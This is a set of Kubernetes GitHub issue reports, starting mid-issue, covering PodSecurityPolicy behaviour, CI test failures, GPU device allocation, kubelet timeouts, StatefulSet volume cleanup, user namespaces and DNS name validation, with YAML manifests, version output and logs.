runasuser\ :1000},\ volumes\ : {\ emptydir\ :{},\ name\ :\ sec-ctx-vol\ } }}\r     kubernetes.io/psp: privileged\r   creationtimestamp: 2018-09-16t04:54:42z\r   name: security-context-demo-by-admin\r   namespace: development\r   resourceversion: \ 286707\ \r   selflink: /api/v1/namespaces/development/pods/security-context-demo-by-admin\r   uid: a028b8ae-b96c-11e8-8d61-02f13ec36f84\r spec:\r   containers:\r   - image: gcr.io/google-samples/node-hello:1.0\r     imagepullpolicy: ifnotpresent\r     name: sec-ctx-demo\r     resources: {}\r     securitycontext:\r       allowprivilegeescalation: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /data/demo\r       name: sec-ctx-vol\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-l6qtk\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: node1\r   priority: 0\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext:\r     fsgroup: 2000\r     runasuser: 1000\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - emptydir: {}\r     name: sec-ctx-vol\r   - name: default-token-l6qtk\r     secret:\r       defaultmode: 420\r       secretname: default-token-l6qtk\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-09-16t04:54:42z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2018-09-16t04:54:44z\r     status: \ true\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: null\r     status: \ true\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: 2018-09-16t04:54:42z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://da2ea7c68eade109fc8371eac7857d620a796f483281d134973b36b006b3cd09\r     image: gcr.io/google-samples/node-hello:1.0\r     imageid: docker-pullable://gcr.io/google-samples/node-hello@sha256:d238d0ab54efb76ec0f7b1da666cefa9b40be59ef34346a761b8adc2dd45459b\r     laststate: {}\r     name: sec-ctx-demo\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2018-09-16t04:54:43z\r   hostip: 172.16.1.7\r   phase: running\r   podip: 192.168.1.181\r   qosclass: besteffort\r   starttime: 2018-09-16t04:54:42z\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. restricted podsecuritypolicy:\r    \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: restricted\r   annotations:\r     seccomp.security.alpha.kubernetes.io/allowedprofilenames: 'docker/default'\r     apparmor.security.beta.kubernetes.io/allowedprofilenames: 'runtime/default'\r     seccomp.security.alpha.kubernetes.io/defaultprofilename:  'docker/default'\r     apparmor.security.beta.kubernetes.io/defaultprofilename:  'runtime/default'\r spec:\r   privileged: false\r     required to prevent escalations to root.\r   allowprivilegeescalation: false\r     this is redundant with non-root + disallow privilege escalation,\r     but we can provide it for defense in depth.\r   requireddropcapabilities:\r     - all\r     allow core volume types.\r   volumes:\r     - 'configmap'\r     - 'emptydir'\r     - 'projected'\r     - 'secret'\r     - 'downwardapi'\r       assume that persistentvolumes set up by the cluster admin are safe to use.\r     - 'persistentvolumeclaim'\r   hostnetwork: false\r   hostipc: false\r   hostpid: false\r   runasuser:\r       require the container to run without root privileges.\r     rule: 'mustrunasnonroot'\r   selinux:\r       this policy assumes the nodes are using apparmor rather than selinux.\r     rule: 'runasany'\r   supplementalgroups:\r     rule: 'mustrunas'\r     ranges:\r         forbid adding the root group.\r       - min: 1\r         max: 65535\r   fsgroup:\r     rule: 'mustrunas'\r     ranges:\r         forbid adding the root group.\r       - min: 1\r         max: 65535\r   readonlyrootfilesystem: false\r    \r 2. create clusterrole for developers:\r    \r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: developer\r rules:\r - apigroups:  \ \ , \ batch\ , \ autoscaling\ , \ extensions\ , \ apps\  \r   resources:\r   - \ serviceaccounts\ \r   - \ statefulsets\ \r   - \ horizontalpodautoscalers\ \r   - \ jobs\ \r   - \ cronjobs\ \r   - \ replicationcontrollers\ \r   - \ services\ \r   - \ deployments\ \r   - \ replicasets\ \r   - \ pods\ \r   - pods/attach\r   - pods/log\r   - pods/exec\r   - pods/proxy\r   - pods/portforward\r   - networkpolicies\r   verbs:\r   -  \  \ \r - apigroups:  \ extensions\  \r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - restricted\r   verbs:\r   - use\r    \r 3. create roldbinding for the user's group\r    \r kubectl apply -f - <<eof\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: developer-binding\r   namespace: development\r subjects:\r - kind: group\r   name: developers\r   apigroup: \ \ \r roleref:\r   kind: clusterrole\r   name: developer\r   apigroup: \ \ \r eof\r    \r \r 4. create the pod\r    \r kubectl create -f - <<eof\r apiversion: v1\r kind: pod\r metadata:\r   name: security-context-demo\r spec:\r   securitycontext:\r     runasuser: 1000\r     fsgroup: 2000\r   volumes:\r   - name: sec-ctx-vol\r     emptydir: {}\r   containers:\r   - name: sec-ctx-demo\r     image: gcr.io/google-samples/node-hello:1.0\r     volumemounts:\r     - name: sec-ctx-vol\r       mountpath: /data/demo\r     securitycontext:\r       allowprivilegeescalation: false\r eof\r    \r \r   anything else we need to know?  :\r \r   environment  :\r    context\r <!--- how has this issue affected you? what are you trying to accomplish? -->\r <!--- providing context helps us come up with a solution that is most useful in the real world -->\r \r   calico version\r    \r $ sudo -e ./calicoctl node diags\r collecting diagnostics\r using temp dir: /tmp/calico846889487\r dumping netstat\r dumping routes  ipv4 \r dumping routes  ipv6 \r dumping interface info  ipv4 \r dumping interface info  ipv6 \r dumping iptables  ipv4 \r dumping iptables  ipv6 \r dumping ipsets\r failed to run command: ipset list\r error:\r dumping ipsets  container \r copying journal for calico-node.service\r dumping felix stats\r error copying log files: stat /var/log/calico: no such file or directory\r copying logs from calico containers\r \r diags saved to /tmp/calico846889487/diags-20180916_151722.tar.gz\r if required, you can upload the diagnostics bundle to a file sharing service\r such as transfer.sh using curl or similar.  for example:\r \r     curl --upload-file /tmp/calico846889487/diags-20180916_151722.tar.gz https://transfer.sh//tmp/calico846889487/diags-20180916_151722.tar.gz\r    \r   orchestrator version  e.g. kubernetes, mesos, rkt :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   operating system and version:\r    \r $ cat /etc/lsb-release\r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04.2 lts\ \r    \r \r   link to discussion on the k8s slack. i think this is a k8s bug:\r https://kubernetes.slack.com/archives/c0en96kuy/p1537108906000100

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-new-master-upgrade-cluster\r \r   which test s  are failing  :  sig-storage   serial  csi volumes csi plugin test using csi driver: gcepd  serial  should provision storage\r \r   since when has it been failing  : today  nov. 8 \r \r   testgrid link  : https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r   reason for failure  :\r \r test is timing out\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/csi_volumes.go:112\r expected error:\r     < errors.errorstring | 0xc422dae9f0>: {\r         s: \ gave up after waiting 15m0s for pod \\\ pvc-volume-tester-nbl9f\\\  to be \\\ success or failure\\\ \ ,\r     }\r     gave up after waiting 15m0s for pod \ pvc-volume-tester-nbl9f\  to be \ success or failure\ \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:1256\r    \r \r alerting here because this appears to be a new test.\r \r   anything else we need to know  :\r \r may be related to  70549, or  70760 \r \r <!-- do not edit below this line -->\r   /assign @davidz627 \r / /milestone v1.13

this is a gke user request. they want the prestop hooks to be run before the machine shutdown.   for planned machine shutdowns, one can simply drain the pods from the nodes. in which case, kubelet will execute prestop hooks. the only exception is the daemonset pods, but this will be resolved after  1574 is implemented.  for unexpected shutdowns, things are more complicated. @roberthbailey mentioned that \  we've discussed the option of adding a shutdown.sh script to all nodes which would try to cleanly shut the machine down, but i don't think the kubelet exposes an api that it could even call to start gracefully terminating pods. and draining the machine wouldn't have any effect on a daemonset because they don't get drained  since they are pinned to machines . \   we may want to consider adding a mechanism to trigger kubelet to gracefully terminate all pods on the node.   /cc @roberthbailey @davidopp

umbrella issue for tracking cri networking related tasks for k8s 1.6\r \r -  x  maintain checkpoints in dockershim. plus, ensure no resource  ip, hostport  leaks. \r https://github.com/kubernetes/kubernetes/issues/35531\r \r -  x  support native docker networking \r  38430\r \r -  x  support hostport in kubenet\r https://github.com/kubernetes/kubernetes/issues/35457 \r \r -  x  enable traffic shaping\r  41588\r \r -     now that kubenet works with cri, make sure other cni network plugins works too.\r https://github.com/kubernetes/kubernetes/issues/28653

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   kubeadm version  :\r kubeadm version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.2.421+a6bea3d79b8bba\ , gitcommit:\ a6bea3d79b8bbaa5e8b57482c9fff9265d402708\ , gittreestate:\ clean\ , builddate:\ 2016-11-03t06:54:50z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : libvirt vms\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : linux master 3.10.0-327.36.3.el7.x86_64  1 smp mon oct 24 16:09:20 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  : there is no documentation, anywhere best i can tell, for hte return codes of kubeadm.\r \r \r   what you expected to happen  :  kubeadm --help  or  kubeadm init --help  should display the error codes returned and what they mean.\r

from  34060:\r \r >    \r >error: 4 leaked resources\r >+name                                                            zone           size_gb  type         status\r >+bootstrap-e2e-dynamic-pvc-df3639df-ba93-11e6-bc92-42010af00002  us-central1-f  1        pd-standard  ready\r >+bootstrap-e2e-dynamic-pvc-df6009a0-ba93-11e6-bc92-42010af00002  us-central1-f  1        pd-standard  ready\r >+bootstrap-e2e-dynamic-pvc-dfac43a8-ba93-11e6-bc92-42010af00002  us-central1-f  1        pd-standard  ready\r >    \r \r the reason is that pv controller provisions the aforementioned gce pds and from some reason it does   not   create pvs for them in kubernetes. the controller then re-tries provisioning them again and this second provisioning fails because corresponding gce pds already exist:\r \r    \r i1205 02:57:57.167381       5 pv_controller.go:1305  failed to provision volume for claim \ e2e-tests-statefulset-jn9lc/datadir-pet-1\  with storageclass \ \ : googleapi: error 409: the resource 'projects/k8s-jkns-e2e-gce-gci/zones/us-central1-f/disks/bootstrap-e2e-dynamic-pvc-df6009a0-ba93-11e6-bc92-42010af00002' already exists, alreadyexists\r    \r \r full log: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/927/\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/795/\r \r failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner default should be disabled by removing the default annotation slow   serial   disruptive   volume  {kubernetes e2e suite}\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:349\r expected\r     <bool>: true\r to equal\r     <bool>: false\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:356\r    \r \r failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner default should be disabled by changing the default annotation slow   serial   disruptive   volume  {kubernetes e2e suite}\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:325\r expected\r     <bool>: true\r to equal\r     <bool>: false\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go\r

here is one such instance where kubelet unit tests are failing\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45798/pull-kubernetes-unit/30523/

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r cuda_visible_devices\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  :\r baremetal\r -   os    e.g. from /etc/os-release :\r    \r ame=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r    \r -   kernel    e.g.  uname -a  :\r node:\r    \r 4.4.0-75-generic  96~14.04.1-ubuntu smp thu apr 20 11:06:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r pod:\r    \r linux busybox2 4.4.0-75-generic  96~14.04.1-ubuntu smp thu apr 20 11:06:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r on my pod i set a resource limit of 2 gpus  new 1.6 feature . when i ssh into the node  which has 8 gpus total  and inspect the docker container, i see that only two devices were chosen and attached  correct behavior , but i don't see how to determine which devices these were. from inside the pod, all 8 devices appear in /dev/nvidia{0..8}. below i included my pod yml and node yml.\r \r i also tried dumping the environment and don't see anything \r    \r kubectl exec busybox2 -- bash -c \ xargs --null --max-args=1 < /proc/1/environ\ \r    \r \r tried to schedule the following pod:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: busybox2\r spec:\r   containers:\r   - image:  ubuntu 14.04 \r     securitycontext:\r       privileged: true\r     volumemounts:\r     - mountpath: /usr/local/nvidia\r       name: nvidia\r     - mountpath: /usr/local/cuda\r       name: cuda\r     - mountpath: /usr/lib/x86_64-linux-gnu/mesa\r       name: lib\r     command:\r       - sleep\r       - \ 3600\ \r     name: busybox\r     resources:\r       limits:\r         alpha.kubernetes.io/nvidia-gpu: 2\r   volumes:\r   - hostpath:\r       path: /usr/local/nvidia\r     name: nvidia\r   - hostpath:\r       path: /usr/local/cuda\r     name: cuda\r   - hostpath:\r       path: /usr/lib/x86_64-linux-gnu\r     name: lib\r   restartpolicy: never\r \r    \r on this node:\r    \r apiversion: v1\r kind: node\r metadata:\r   annotations:\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: 2017-05-16t18:58:04z\r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/os: linux\r     kubernetes.io/hostname:  host \r     openai.org/gpu-count: \ 8\ \r     openai.org/gpu-type: 1080ti\r   name:  host \r   resourceversion: \ 162166\ \r   selflink: /api/v1/nodes host \r   uid: 975a9d20-3a69-11e7-a320-fcaa14ea6d82\r status:\r  ...\r   allocatable:\r     alpha.kubernetes.io/nvidia-gpu: \ 8\ \r     cpu: \ 40\ \r     memory: 263939800ki\r     pods: \ 28\ \r   capacity:\r     alpha.kubernetes.io/nvidia-gpu: \ 8\ \r     cpu: \ 40\ \r     memory: 264042200ki\r     pods: \ 28\ \r   conditions:\r   - lastheartbeattime: 2017-05-17t20:41:16z\r     lasttransitiontime: 2017-05-16t18:58:04z\r     message: kubelet has sufficient disk space available\r     reason: kubelethassufficientdisk\r     status: \ false\ \r     type: outofdisk\r   - lastheartbeattime: 2017-05-17t20:41:16z\r     lasttransitiontime: 2017-05-16t18:58:04z\r     message: kubelet has sufficient memory available\r     reason: kubelethassufficientmemory\r     status: \ false\ \r     type: memorypressure\r   - lastheartbeattime: 2017-05-17t20:41:16z\r     lasttransitiontime: 2017-05-16t18:58:04z\r     message: kubelet has no disk pressure\r     reason: kubelethasnodiskpressure\r     status: \ false\ \r     type: diskpressure\r   - lastheartbeattime: 2017-05-17t20:41:16z\r     lasttransitiontime: 2017-05-16t18:58:04z\r     message: kubelet is posting ready status. apparmor enabled\r     reason: kubeletready\r     status: \ true\ \r     type: ready\r   daemonendpoints:\r     kubeletendpoint:\r       port: 10250\r   images:\r   - names:\r   ....\r     -   nodeinfo:\r     architecture: amd64\r     bootid: fe667c90-b764-4a56-a817-518555e893bf\r     containerruntimeversion: docker://1.12.6\r     kernelversion: 4.4.0-75-generic\r     kubeproxyversion: v1.6.2\r     kubeletversion: v1.6.2\r     machineid: 9cae6c159be1b1271f87c4075910b9a5\r     operatingsystem: linux\r     osimage: ubuntu 14.04.5 lts\r     systemuuid: 00000000-0000-0000-0000-ac1f6b206ed8\r    \r \r   what you expected to happen  :\r i expected either cuda_visible_devices to be set or only a subset of devices to appear in /dev/nvidia \r \r   how to reproduce it    as minimally and precisely as possible :\r see above.\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r operator is running an ha master setup with a lb in front.  kubelet attempts to update node status, but  tryupdatenodestatus  wedges.  based on the goroutine dump, the wedge happens when it attempts to get the latest state of the node from the master.  operator observed 15 minute intervals between attempts to update node status when kubelet could not contact master.  assume this is when the lb ultimately closes the connection.  the impact is that node controller then marked node as lost, and workload was evicted.\r \r   what you expected to happen  :\r expected the kubelet to timeout client-side.\r right now, no kubelet->master communication has a timeout.\r ideally, the kubelet -> master communication would have a timeout based on the configuration of the node-status-update-frequency so that no single attempt to update status wedges future attempts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.

is this a bug report or feature request?  :\r enhancement/cleanup\r \r  \r   description  :\r nodecontroller uses  usetaintbasedevictions  to distinguish taint-based-eviction and default-pod-eviction; this tag is scattered around the code : . the proposal is to create an interface  evictor  and two implementation: taintevictor & defaltevictor for code cleanup.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i set the minreadyseconds as 120, but it does not work. \r   what you expected to happen  :\r as i understand, the minreadyseconds means the old pods will still be running when the new pod is established. after 120 seconds the old pods will be killed. but when i upgrade the deployment, the old pod is killed at few seconds after the new pods established.\r   how to reproduce it  as minimally and precisely as possible   :\r my yaml file config as follow:\r    yaml\r spec:\r   replicas: 1\r   minreadyseconds: 120\r   strategy:\r       indicate which strategy we want for rolling update\r     type: rollingupdate\r     rollingupdate:\r       maxsurge: 2\r       maxunavailable: 2\r     \r i use the commend \ kubectl update -f api-deployment.yaml api-deployment --record\  and \ kubectl replace -f api-deployment.yaml api-deployment --record\ \r    \r @sand:~/frank/sync/sync-system/sync-db$ kubectl get pods --namespace=sync | grep api\r sync-api-123159906-92dwv                            1/1       terminating         0          1h\r sync-api-2198656171-xgjqz                           0/1       containercreating   0          2s\r @sand:~/frank/sync/sync-system/sync-db$ kubectl get pods --namespace=sync | grep api\r sync-api-123159906-92dwv                            1/1       terminating   0          1h\r sync-api-2198656171-xgjqz                           1/1       running       0          4s\r \r @sand:~/frank/sync/sync-system/sync-db$ kubectl get pods --namespace=sync | grep api\r sync-api-123159906-92dwv                            0/1       terminating   0          1h\r sync-api-2198656171-xgjqz                           1/1       running       0          37s\r @sand:~/frank/sync/sync-system/sync-db$ kubectl get pods --namespace=sync | grep api\r sync-api-2198656171-xgjqz                           1/1       running   0          38s\r \r kubernetes version:\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

 \r task tracking issue for beta cpu manager.\r \r -  x  static policy container cpuset assignments are durable across kubelet restarts either inspecting cgroupfs state or checkpoint state to disk.  54409\r -     gating e2e tests are enabled in ci. this requires multi-cpu test nodes.  55980\r -     enable the feature gate by default and mark the pre-release support level as \ beta\ .  55977\r -     beta-level docs\r \r cc @balajismaniam @sjenning @derekwaynecarr

\r   is this a bug report or feature request?  :\r \r >\r >  \r \r   what happened  :\r when create a statefulset with  volumeclaimtemplates \r    \r   volumeclaimtemplates:\r     - metadata:\r         name: zk-data\r        annotations:\r          volume.beta.kubernetes.io/storage-class: glusterfs-storage\r       spec:\r         accessmodes:\r           - readwriteonce\r         resources:\r           requests:\r             storage: 2gi\r    \r \r it will auto create pvcs for the statefulset pod.\r \r however when delete the statefulset, pvcs auto generated will not be removed. user need to manually remove these pvcs. \r \r   what you expected to happen  :\r when delete the statefulset, pvcs auto generated will also be removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a statefulset with  volumeclaimtemplates .\r 2. delete the statefulset. check pvcs created for the statefulset.\r \r   anything else we need to know?  :\r \r   environment  : k8s 1.7.3\r - kubernetes version  use  kubectl version  : k8s 1.7.3\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  :   linux demo03 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: none\r - others:\r

is this a bug report or feature request?  :\r  /area hw-accelerators \r \r \r   what happened  :\r in the context of the device plugin, when using init containers in your pod spec, the current behavior will  not reuse devices between init containers and regular containers.\r \r this is problematic as pod scheduling is currently wrong: \r  in the scheduler  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l550 , the current predicate algorithm rightly assumes the maximum number of devices in use at one time is  max numdevices ctr1, ctr2, ... , numdevices initctr1 ,  ...  .\r \r however, the pod predicate ran on the node is the sum of devices used by regular and init containers. meaning that your pod can bounce back between the scheduler and a node infinitely.\r \r also given that many of the extended resources are typically more expensive that the built-in ones like cpu, memory and storage this bug has very real financial drawbacks in terms of resource usage  e.g: using 4 gpus on a pod that only uses 2 gpus at a time .\r \r furthermore, this unexpected behavior was caught during implementation  but we did not catch the scheduling implications  and decision was taken to ignore it for the first implementation. we need to document it for 1.9\r \r   what you expected to happen  :\r - devices can be reused by init containers\r - correct resource accounting\r \r in terms of the current behavior of the allocate call to the device plugin, i'd expect the allocate call to be done before every init containers start and once at the end of the last init container  for regular containers .\r \r /assign @jiayingz @vishh

once cloud-controller-manager is started we should remove the taint. right?\r \r    \r                 \ taints\ :  \r                     {\r                         \ effect\ : \ noschedule\ ,\r                         \ key\ : \ node.cloudprovider.kubernetes.io/uninitialized\ ,\r                         \ value\ : \ true\ \r                     }\r

  this came out of the multi-tenancy discussion this afternoon:\r \r   problem  \r linux user namespaces are a powerful isolation primitive for containers that can offer a lot of security for containers and nodes. while it is the case that pods are ephemeral and don't need their node level configuration tracked specifically, user namespaces presents an exceptional challenge for pods that have persistent volumes.\r \r   example  \r we have a deployment, _a_, and it lands on a node, _node0_, the initial pod has a persistent volume, and the pod is placed in a user namespace offset of 65536. let's say this pod represents some kind of database. some time passes, and _node0_ has a problem and all pods on it need to be evacuated. if the database with user namespace offset 65536 migrates and does not maintain its offset on the next node the filesystem on its persistent volume will be unreadable and unwritable to it.\r \r   solution  \r ~~i propose that k8s allow user namespaces to be tracked persistently in pod security policies, and that k8s will prevent collisions from occurring across pod security policies  i.e. no pod security policy can share a linux user namespace with another pod security policy, even across k8s namespaces . either that, or make it an option in pod security policies that they have exclusivity to a user namespace  e.g. pod security policy, \ foo\ , reserves 65536-131072, so no other pod security policy may have it, but \ bar\  psp does not reserve 131072-196608, so \ baz\  may use it as well .~~\r \r add a  usernamespace   \ namespace\  is one word in the linux world, hence the lack of a capital \ s\   field to the  podsecuritycontext  https://github.com/kubernetes/kubernetes/blob/8fd414537b5143ab039cb910590237cabf4af783/pkg/api/types.go l1578  struct that specifies the name of the user namespace to pass to the container runtime. in the kubelet code this field will then be used to specify the user namespace per-container. in situations like docker, where the user namespace is set at the daemon level, the kubelet will use the field just to make sure that volumes are initially \ chown\ -ed properly. it will be up to the person/agent deploying their hosts to make sure their hosts are properly configured. if there are user namespace mismatches across nodes, this code should not seek to correct them.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r vmas nodes are reporting  instance not found  error in vmss cluster  vmtype set to vmss .\r \r    \r ss.getprimaryinterface k8s-master , ss.getcachedvirtualmachine k8s-master , err=instance not found\r    \r \r   what you expected to happen  :\r \r node should register correctly in the kubernetes cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a vmas nodes inside vmss cluster.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we aren't checking if informers are synced before using them - https://github.com/kubernetes/kubernetes/pull/67945 discussion_r215105859\r \r we should ensure that, informers are synced before use in kubelet/attach-detach controller.\r \r  /assign\r

what happened  :\r the dns-1035 checks  rfc 1035  will result in an error if the name is not lower case.\r \r   what you expected to happen  :\r the rfc does not prohibit lower case labels, they just must be evaluated in a case-insensitive way.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the fields that are evaluated directly vary, some fields that are \ fixed\  via a workaround before evaluation in crds are shown below.\r \r   anything else we need to know?  :\r see rfc spec.\r \r i'm seeking to understand why the dns-1035 check enforces case sensitivity. is this a design decision in kubernetes?\r \r https://github.com/kubernetes/kubernetes/blob/939f8ffa87dfd25309d3350ba798498e522a85e2/staging/src/k8s.io/apimachinery/pkg/util/validation/validation.go l152-l153\r \r from the rfc:\r \r > \\<label\\> ::= \\<letter\\>     \\<ldh-str\\>   \\<let-dig\\>  \r > \r > \\<ldh-str\\> ::= \\<let-dig-hyp\\> | \\<let-dig-hyp\\> \\<ldh-str\\>\r > \r > \\<let-dig-hyp\\> ::= \\<let-dig\\> | \ -\ \r > \r > \\<let-dig\\> ::= \\<letter\\> | \\<digit\\>\r > \r > \\<letter\\> ::= any one of the 52 alphabetic characters   a through z in  \r >   upper case and a through z in lower case  \r > \r > \\<digit\\> ::= any one of the ten digits 0 through 9\r > \r > note that   while upper and lower case letters are allowed in domain  \r >   names, no significance is attached to the case  .  that is, two names with\r > the same spelling but different case are to be treated as if identical.\r \r there are some checks in the crds that will lowercase the names before the check. the history here is not quite clear to me, but assuming the fields are expected to be dns labels, it looks like a workaround to the actual check.\r \r https://github.com/kubernetes/kubernetes/blob/e4782435429ae6518ad2f5e1713f1f99b30f0fb6/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/validation/validation.go l404-l406

